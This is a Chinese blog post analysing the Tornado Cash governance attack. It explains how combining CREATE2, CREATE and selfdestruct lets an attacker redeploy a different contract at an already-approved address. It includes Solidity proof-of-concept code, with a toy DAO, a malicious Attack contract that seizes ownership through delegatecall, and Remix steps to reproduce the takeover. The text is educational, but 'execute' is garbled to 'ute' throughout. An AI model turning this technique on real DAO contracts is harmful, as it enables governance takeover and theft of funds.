Tornado治理攻击：如何同一个地址上部署不同的合约

大概两周前（5 月 20 日），知名混币协议 Tornado Cash 遭受到治理攻击，黑客获取到了Tornado Cash的治理合约的控制权（Owner）。

攻击过程是这样的：攻击者先提交了一个“看起来正常”的提案， 待提案通过之后， 销毁了提案要执行的合约地址， 并在该地址上重新创建了一个攻击合约。

攻击过程可以查看 SharkTeam 的 Tornado.Cash提案攻击原理分析[1]。

这里攻击的关键是在同一个地址上部署了不同的合约， 这是如何实现的呢？

背景知识

EVM 中有两个操作码用来创建合约：CREATE 与 CREATE2 。

CREATE 操作码

当使用 new Token() 使用的是 CREATE 操作码 ， 创建的合约地址计算函数为：

address tokenAddr = bytes20(keccak256(senderAddress, nonce))

创建的合约地址是通过创建者地址 + 创建者Nonce（创建合约的数量）来确定的， 由于 Nonce 总是逐步递增的， 当 Nonce 增加时，创建的合约地址总是是不同的。

CREATE2 操作码

当添加一个salt时 new Token{salt: bytes32()}() ，则使用的是 CREATE2 操作码 ， 创建的合约地址计算函数为：

address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))

创建的合约地址是 创建者地址 + 自定义的盐 + 要部署的智能合约的字节码， 因此 只有相同字节码 和 使用相同的盐值，才可以部署到同一个合约地址上。

那么如何才能在同一地址如何部署不用的合约？

攻击手段

攻击者结合使用 Create2 和 Create 来创建合约， 如图：

代码参考自：

先用 Create2 部署一个合约 Deployer ， 在 Deployer 使用 Create 创建目标合约 Proposal（用于提案使用）。Deployer 和 Proposal 合约中均有自毁实现（selfdestruct）。

在提案通过后，攻击者把 Deployer 和 Proposal 合约销毁，然后重新用相同的slat创建 Deployer ， Deployer 字节码不变，slat 也相同，因此会得到一个和之前相同的 Deployer 合约地址， 但此时 Deployer 合约的状态被清空了， nonce 从 0 开始，因此可以使用该 nonce 创建另一个合约Attack。

攻击代码示例

此代码来自：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract DAO {
struct Proposal {
address target;
bool approved;
bool uted;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, "not authorized");
proposals.push(Proposal({target: target, approved: true, uted: false}));
}
function ute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, "not approved");
require(!proposal.uted, "uted");
proposal.uted = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature("uteProposal()")
);
require(ok, "delegatecall failed");
}
}
contract Proposal {
event Log(string message);
function uteProposal() external {
emit Log("Excuted code approved by DAO");
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function uteProposal() external {
emit Log("Excuted code not approved by DAO :)");
// For example - set DAO's owner to attacker
owner = msg.sender;
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint(123)));
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
function kill() external {
selfdestruct(payable(address(0)));
}
}

大家可以使用该代码自己在 Remix 中演练一下。

1. 首先部署 DeployerDeployer ， 调用 DeployerDeployer.deploy() 部署 Deployer ， 然后调用 Deployer.deployProposal() 部署 Proposal 。
2. 拿到 Proposal 提案合约地址后， 向 DAO 发起提案。
3. 分别调用 Deployer.kill 和 Proposal.emergencyStop 销毁掉 Deployer 和 Proposal
4. 再次调用 DeployerDeployer.deploy() 部署 Deployer ， 调用 Deployer.deployAttack() 部署 Attack ， Attack 将和之前的 Proposal 一致。
5. 执行 DAO.ute 时，攻击完成 获取到了 DAO 的 Owner 权限。